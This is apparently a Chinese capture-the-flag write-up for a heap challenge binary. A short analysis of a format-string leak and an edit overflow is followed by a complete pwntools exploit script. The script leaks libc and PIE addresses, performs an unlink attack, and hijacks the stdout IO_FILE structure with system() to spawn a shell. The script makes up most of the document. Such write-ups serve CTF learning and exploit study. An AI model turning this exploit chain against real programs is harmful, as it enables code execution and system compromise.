保护
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/861923a62b64cdaf07e5fac786fcf1dc.png)
分析
- 程序主要漏洞有两个,分别是在一开始的输入操作中:
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/83bdbd5ebb998c7e8e2bf9a5e3d29ab4.png)
- 存在格式化字符串漏洞,可以泄露内存。这里首先泄露出程序的基地址和libc的内存,为后续利用做准备。
- 第二个漏洞存在编辑操作中:
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/9b89bc4e8454205c01a5457730adfa38.png)
- 程序在创建note的时候做了限制,正常情况下只能申请unsortbin及其以上的chunk。由于一开始我们就可以获得内存,所以直接利用unlink是最快的,然后利用IO_FILE去getshell。
EXP
from pwn import*
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
p=process('./pwn1')
def Add(idx,size,data):
p.sendlineafter('>> ','1')
p.sendlineafter(':',str(idx))
p.sendlineafter('size:\n',str(size))
p.sendafter('content: \n',data)
def Del(idx):
p.sendlineafter('>> ','2')
p.sendlineafter('index:\n',str(idx))
def Edit(idx,data):
p.sendlineafter('>> ', '4')
p.sendlineafter('index:\n', str(idx))
p.sendafter('content: \n', data)
def Login(formt):
p.sendlineafter('name: ', formt)
Login("%15$p.%11$p.")
p.recvuntil('Hello, ')
libc_addr=int(p.recvuntil('.')[:-1],16)-libc.sym['__libc_start_main']-240
pie=int(p.recvuntil('.')[:-1],16)-4486
success("libc_base:"+hex(libc_addr))
success("PIE:"+hex(pie))
Note_list=0x202060+pie
fake_chunk=p64(0)+p64(0x60)+p64(Note_list-0x18)+p64(Note_list-0x10)+'a'*0x60+p64(0x61)
fake_chunk=fake_chunk.ljust(0x90,'\0')
Add(0,0x98,'a'*8+'\n')
Add(1,0x118,'a'*8+'\n')
Add(3,0x100,'a'*8+'\n')
Edit(0,fake_chunk+p64(0x90)+'\x20')
Del(1)
system_addr=libc.sym['system']+libc_addr
std_out=libc.sym['_IO_2_1_stdout_']+libc_addr
pay=p64(0)*3+p64(Note_list)+p64(0x98)
pay+=p64(std_out)+p64(0x100)
pay+=p64(std_out+208)+p64(0x100)
pay+=p64(Note_list+0x30)+p64(0x100)+'\n'
Edit(0,pay)
pay=p64(0)*2+p64(system_addr)*19+'\n'
Edit(3,pay)
pay=p32(0xfabd1880)+';sh;\n'
Edit(1,pay)
pay=p64(0)+p64(Note_list+0x30)+'\n'
p.sendlineafter('>> ', '4')
p.sendlineafter('index:', '2')
p.sendafter('content: ', pay)
p.interactive()